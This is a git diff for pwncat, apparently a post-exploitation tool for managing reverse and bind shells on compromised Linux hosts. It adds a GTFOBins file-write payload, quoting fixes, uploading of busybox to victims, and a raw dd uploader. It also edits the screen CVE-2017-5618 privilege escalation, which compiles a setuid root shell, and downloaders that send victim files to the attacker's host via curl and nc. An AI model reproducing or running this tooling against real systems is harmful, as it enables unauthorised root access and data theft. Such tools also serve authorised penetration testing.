diff --git a/data/gtfobins.json b/data/gtfobins.json index edbd3d0..cf18a8c 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -3,6 +3,13 @@ "name": "cat", "read_file": "{path} {lfile}" }, + { + "name": "cp", + "write_file": { + "type": "base64", + "payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF" + } + }, { "name": "bash", "shell": { diff --git a/pwncat/__main__.py b/pwncat/__main__.py index f0e4f57..b106f30 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -22,11 +22,18 @@ def main(): mutex_group.add_argument( "--reverse", "-r", - action="store_true", + action="store_const", + dest="type", + const="reverse", help="Listen on the specified port for connections from a remote host", ) mutex_group.add_argument( - "--bind", "-b", action="store_true", help="Connect to a remote host" + "--bind", + "-b", + action="store_const", + dest="type", + const="bind", + help="Connect to a remote host", ) parser.add_argument( "--host", @@ -47,13 +54,13 @@ def main(): parser.add_argument( "--method", "-m", - choices=["none", *PtyHandler.OPEN_METHODS.keys()], + choices=[*PtyHandler.OPEN_METHODS.keys()], help="Method to create a pty on the remote host (default: script)", default="script", ) args = parser.parse_args() - if args.reverse: + if args.type == "reverse": # Listen on a socket for connections util.info(f"binding to {args.host}:{args.port}", overlay=True) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -68,7 +75,7 @@ def main(): except KeyboardInterrupt: util.warn(f"aborting listener...") sys.exit(0) - else: + elif args.type == "bind": util.info(f"connecting to {args.host}:{args.port}", overlay=True) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((args.host, args.port)) diff --git a/pwncat/downloader/curl.py b/pwncat/downloader/curl.py index 28737db..6336f26 100644 --- a/pwncat/downloader/curl.py +++ b/pwncat/downloader/curl.py @@ -15,7 +15,7 @@ class CurlDownloader(HTTPDownloader): lhost = self.pty.vars["lhost"] lport = self.server.server_address[1] - curl = self.pty.which("curl") + curl = self.pty.which("curl", quote=True) remote_path = shlex.quote(self.remote_path) self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}") diff --git a/pwncat/downloader/nc.py b/pwncat/downloader/nc.py index 1bc56c1..82d70f9 100644 --- a/pwncat/downloader/nc.py +++ b/pwncat/downloader/nc.py @@ -15,7 +15,7 @@ class NetcatDownloader(RawDownloader): lhost = self.pty.vars["lhost"] lport = self.server.server_address[1] - nc = self.pty.which("nc") + nc = self.pty.which("nc", quote=True) remote_file = shlex.quote(self.remote_path) self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}") diff --git a/pwncat/downloader/raw.py b/pwncat/downloader/raw.py index 21ce38d..1f2d615 100644 --- a/pwncat/downloader/raw.py +++ b/pwncat/downloader/raw.py @@ -19,15 +19,17 @@ class RawShellDownloader(Downloader): remote_path = shlex.quote(self.remote_path) blocksz = 1024 * 1024 - binary = self.pty.which("dd") + binary = self.pty.which("dd", quote=True) if binary is None: - binary = self.pty.which("cat") + binary = self.pty.which("cat", quote=True) if "dd" in binary: - pipe = self.pty.subprocess(f"dd if={remote_path} bs={blocksz} 2>/dev/null") + pipe = self.pty.subprocess( + f"{binary} if={remote_path} bs={blocksz} 2>/dev/null" + ) else: - pipe = self.pty.subprocess(f"cat {remote_path}") + pipe = self.pty.subprocess(f"{binary} {remote_path}") try: with open(self.local_path, "wb") as filp: diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index fd0e954..418d7ae 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -14,7 +14,7 @@ from pwncat import util # privesc_methods = [SetuidMethod, SuMethod] # privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod] -privesc_methods = [SuMethod, SudoMethod, SetuidMethod, ScreenMethod] +privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod] # privesc_methods = [ScreenMethod] @@ -288,7 +288,8 @@ class Finder: raise PrivescError("privesc failed") # We need su to privesc w/ file write - if self.pty.which("su") is None: + su_command = self.pty.which("su", quote=True) + if su_command is None: raise PrivescError("privesc failed") # Read the current content of /etc/passwd diff --git a/pwncat/privesc/screen.py b/pwncat/privesc/screen.py index cc820e1..345de35 100644 --- a/pwncat/privesc/screen.py +++ b/pwncat/privesc/screen.py @@ -24,7 +24,7 @@ from pwncat import util class ScreenMethod(Method): - name = "screen CVE-2017-5618" + name = "screen (CVE-2017-5618)" BINARIES = ["cc", "screen"] def __init__(self, pty: "pwncat.pty.PtyHandler"): @@ -113,15 +113,15 @@ class ScreenMethod(Method): writer.write_file( rootshell_c, textwrap.dedent( - """ + f""" #include - int main(void){ + int main(void){{ setuid(0); setgid(0); seteuid(0); setegid(0); - execvp("/bin/sh", NULL, NULL); - } + execvp("{self.pty.shell}", NULL, NULL); + }} """ ).lstrip(), ) diff --git a/pwncat/pty.py b/pwncat/pty.py index 036967b..9280b73 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -15,6 +15,8 @@ from prompt_toolkit.document import Document from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.lexers import PygmentsLexer import subprocess +import requests +import tempfile import logging import argparse import base64 @@ -176,7 +178,7 @@ class PtyHandler: "script", ] - def __init__(self, client: socket.SocketType): + def __init__(self, client: socket.SocketType, has_pty: bool = False): """ Initialize a new Pty Handler. This will handle creating the PTY and setting the local terminal to raw. It also maintains the state to open a local terminal if requested and exit raw mode. """ @@ -190,8 +192,13 @@ class PtyHandler: self.known_users = {} self.vars = {"lhost": util.get_ip_addr()} self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]" - self.remote_prompt = "\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ " + self.remote_prompt = ( + "\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[" + "\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ " + ) self.prompt = self.build_prompt_session() + self.has_busybox = False + self.busybox_path = None self.binary_aliases = { "python": [ "python2", @@ -204,6 +211,7 @@ class PtyHandler: "sh": ["bash", "zsh", "dash"], "nc": ["netcat", "ncat"], } + self.has_pty = has_pty # Setup the argument parsers for local the local prompt self.setup_command_parsers() @@ -327,9 +335,114 @@ class PtyHandler: self.privesc = privesc.Finder(self) + # Attempt to identify architecture + self.arch = self.run("uname -m").decode("utf-8").strip() + # Force the local TTY to enter raw mode self.enter_raw() + def bootstrap_busybox(self, url, method): + """ Utilize the architecture we grabbed from `uname -m` to grab a + precompiled busybox binary and upload it to the remote machine. This + makes uploading/downloading and dependency tracking easier. It also + makes file upload/download safer, since we have a known good set of + commands we can run (rather than relying on GTFObins) """ + + if self.has_busybox: + util.success("busybox is already available!") + return + + busybox_remote_path = self.which("busybox") + + if busybox_remote_path is None: + + # We use the stable busybox version at the time of writing. This should + # probably be configurable. + busybox_url = url.rstrip("/") + "/busybox-{arch}" + + # Attempt to download the busybox binary + r = requests.get(busybox_url.format(arch=self.arch), stream=True) + + # No busybox support + if r.status_code == 404: + util.warn(f"no busybox for architecture: {self.arch}") + return + + with ProgressBar(f"downloading busybox for {self.arch}") as pb: + counter = pb(int(r.headers["Content-Length"])) + with tempfile.NamedTemporaryFile("wb", delete=False) as filp: + last_update = time.time() + busybox_local_path = filp.name + for chunk in r.iter_content(chunk_size=1024 * 1024): + filp.write(chunk) + counter.items_completed += len(chunk) + if (time.time() - last_update) > 0.1: + pb.invalidate() + counter.stopped = True + pb.invalidate() + time.sleep(0.1) + + # Stage a temporary file for busybox + busybox_remote_path = ( + self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip() + ) + + # Upload busybox using the best known method to the remote server + self.do_upload( + ["-m", method, "-o", busybox_remote_path, busybox_local_path] + ) + + # Make busybox executable + self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") + + # Remove local busybox copy + os.unlink(busybox_local_path) + + util.success( + f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" + ) + + else: + # Busybox was provided on the system! + util.success(f"busybox already installed on remote system!") + + # Check what this busybox provides + util.progress("enumerating provided applets") + pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") + provides = pipe.read().decode("utf-8").strip().split("\n") + pipe.close() + + # prune any entries which the system marks as SETUID or SETGID + stat = self.which("stat", quote=True) + + if stat is not None: + util.progress("enumerating remote binary permissions") + which_provides = [f"`which {p}`" for p in provides] + permissions = ( + self.run(f"{stat} -c %A {' '.join(which_provides)}") + .decode("utf-8") + .strip() + .split("\n") + ) + new_provides = [] + for name, perms in zip(provides, permissions): + if "No such" in perms: + # The remote system doesn't have this binary + continue + if "s" not in perms.lower(): + util.progress(f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox") + new_provides.append(name) + else: + util.progress(f"pruning {Fore.RED}{name}{Fore.RESET} from busybox") + + util.success(f"pruned {len(provides)-len(new_provides)} setuid entries") + provides = new_provides + + # Let the class know we now have access to busybox + self.busybox_provides = provides + self.has_busybox = True + self.busybox_path = busybox_remote_path + def build_prompt_session(self): """ This is kind of gross because of the nested completer, so I broke it out on it's own. The nested completer must be updated separately @@ -372,11 +485,18 @@ class PtyHandler: style=PwncatStyle, ) - def which(self, name: str, request=True) -> str: + def which(self, name: str, request=True, quote=False) -> str: """ Call which on the remote host and return the path. The results are cached to decrease the number of remote calls. """ path = None + if self.has_busybox: + if name in self.busybox_provides: + if quote: + return f"{shlex.quote(self.busybox_path)} {name}" + else: + return f"{self.busybox_path} {name}" + if name in self.known_binaries and self.known_binaries[name] is not None: # Cached value available path = self.known_binaries[name] @@ -389,13 +509,16 @@ class PtyHandler: if name in self.binary_aliases and path is None: # Look for aliases of this command as a last resort for alias in self.binary_aliases[name]: - path = self.which(alias) + path = self.which(alias, quote=False) if path is not None: break # Cache the value self.known_binaries[name] = path + if quote: + path = shlex.quote(path) + return path def process_input(self, data: bytes): @@ -492,6 +615,31 @@ class PtyHandler: except KeyboardInterrupt: continue + @with_parser + def do_busybox(self, args): + """ Attempt to upload a busybox binary which we can use as a consistent + interface to local functionality """ + + if args.action == "list": + if not self.has_busybox: + util.error("busybox hasn't been installed yet (hint: run 'busybox'") + return + util.info("binaries which the remote busybox provides:") + for name in self.busybox_provides: + print(f" * {name}") + elif args.action == "status": + if not self.has_busybox: + util.error("busybox hasn't been installed yet") + return + util.info( + f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}" + ) + util.info( + f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets" + ) + elif args.action == "install": + self.bootstrap_busybox(args.url, args.method) + @with_parser def do_back(self, _): """ Exit command mode """ @@ -859,6 +1007,9 @@ class PtyHandler: command = f" {cmd}" response = b"" + eol = b"\r" + if self.has_cr: + eol = b"\r" # Send the command to the remote host self.client.send(command.encode("utf-8") + b"\n") @@ -866,10 +1017,10 @@ class PtyHandler: if delim: if self.has_echo: # Recieve line ending from output - self.recvuntil(b"_PWNCAT_STARTDELIM_") + # print(1, self.recvuntil(b"_PWNCAT_STARTDELIM_")) self.recvuntil(b"\n", interp=True) - self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True) # first in output + self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True) self.recvuntil(b"\n", interp=True) return b"_PWNCAT_ENDDELIM_" @@ -969,7 +1120,7 @@ class PtyHandler: self.upload_parser.add_argument( "--method", "-m", - choices=uploader.get_names(), + choices=["", *uploader.get_names()], default=None, help="set the download method (default: auto)", ) @@ -999,6 +1150,53 @@ class PtyHandler: self.back_parser = argparse.ArgumentParser(prog="back") + self.busybox_parser = argparse.ArgumentParser(prog="busybox") + self.busybox_parser.add_argument( + "--method", + "-m", + choices=uploader.get_names(), + default="", + help="set the upload method (default: auto)", + ) + self.busybox_parser.add_argument( + "--url", + "-u", + default=( + "https://busybox.net/downloads/binaries/" + "1.31.0-defconfig-multiarch-musl/" + ), + help=( + "url to download multiarch busybox binaries" + "(default: 1.31.0-defconfig-multiarch-musl)" + ), + ) + group = self.busybox_parser.add_mutually_exclusive_group(required=True) + group.add_argument( + "--install", + "-i", + action="store_const", + dest="action", + const="install", + default="install", + help="install busybox support for pwncat", + ) + group.add_argument( + "--list", + "-l", + action="store_const", + dest="action", + const="list", + help="list all provided applets from the remote busybox", + ) + group.add_argument( + "--status", + "-s", + action="store_const", + dest="action", + const="status", + help="show current pwncat busybox status", + ) + def whoami(self): result = self.run("whoami") return result.strip().decode("utf-8") diff --git a/pwncat/uploader/__init__.py b/pwncat/uploader/__init__.py index 6e4012e..d606f90 100644 --- a/pwncat/uploader/__init__.py +++ b/pwncat/uploader/__init__.py @@ -7,6 +7,7 @@ from pwncat.uploader.curl import CurlUploader from pwncat.uploader.shell import ShellUploader from pwncat.uploader.bashtcp import BashTCPUploader from pwncat.uploader.wget import WgetUploader +from pwncat.uploader.raw import RawShellUploader all_uploaders = [ NetcatUploader, @@ -14,6 +15,7 @@ all_uploaders = [ ShellUploader, BashTCPUploader, WgetUploader, + RawShellUploader, ] uploaders = [NetcatUploader, CurlUploader] fallback = ShellUploader @@ -27,6 +29,9 @@ def get_names() -> List[str]: def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]: """ Locate an applicable uploader """ + if hint == "": + hint = None + if hint is not None: # Try to return the requested uploader for d in all_uploaders: diff --git a/pwncat/uploader/base.py b/pwncat/uploader/base.py index 7947181..a168084 100644 --- a/pwncat/uploader/base.py +++ b/pwncat/uploader/base.py @@ -132,6 +132,7 @@ class RawUploader(Uploader): # Make sure it is accessible to the subclass local_path = self.local_path + pty = self.pty class SocketWrapper: def __init__(self, sock): @@ -139,7 +140,7 @@ class RawUploader(Uploader): def write(self, n: int): try: - return self.s.sendall(n) + return self.s.send(n) except socket.timeout: return b"" @@ -150,6 +151,7 @@ class RawUploader(Uploader): with open(local_path, "rb") as filp: util.copyfileobj(filp, SocketWrapper(self.request), on_progress) self.request.close() + pty.client.send(util.CTRL_C) self.server = TCPServer(("0.0.0.0", 0), ReceiveFile) diff --git a/pwncat/uploader/raw.py b/pwncat/uploader/raw.py new file mode 100644 index 0000000..a2050ec --- /dev/null +++ b/pwncat/uploader/raw.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +from typing import Generator, Callable +from io import BufferedReader +import base64 +import shlex +import socket +import os + +from pwncat.uploader.base import Uploader, UploadError +from pwncat import util + + +class RawShellUploader(Uploader): + + NAME = "raw" + BINARIES = ["dd"] + BLOCKSZ = 8192 + + def command(self) -> Generator[str, None, None]: + """ Yield list of commands to transfer the file """ + + remote_path = shlex.quote(self.remote_path) + file_sz = os.path.getsize(self.local_path) - 1 + + # Put the remote terminal in raw mode + self.pty.raw() + + self.pty.process( + f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False + ) + + pty = self.pty + + class SocketWrapper: + def write(self, data): + try: + n = pty.client.send(data) + except socket.error: + return 0 + return n + + try: + with open(self.local_path, "rb") as filp: + util.copyfileobj(filp, SocketWrapper(), self.on_progress) + finally: + self.on_progress(0, -1) + + # Get back to a terminal + self.pty.client.send(util.CTRL_C) + self.pty.reset() + + return False + + def serve(self, on_progress: Callable): + """ We don't need to start a server, but we do need to save the + callback """ + self.on_progress = on_progress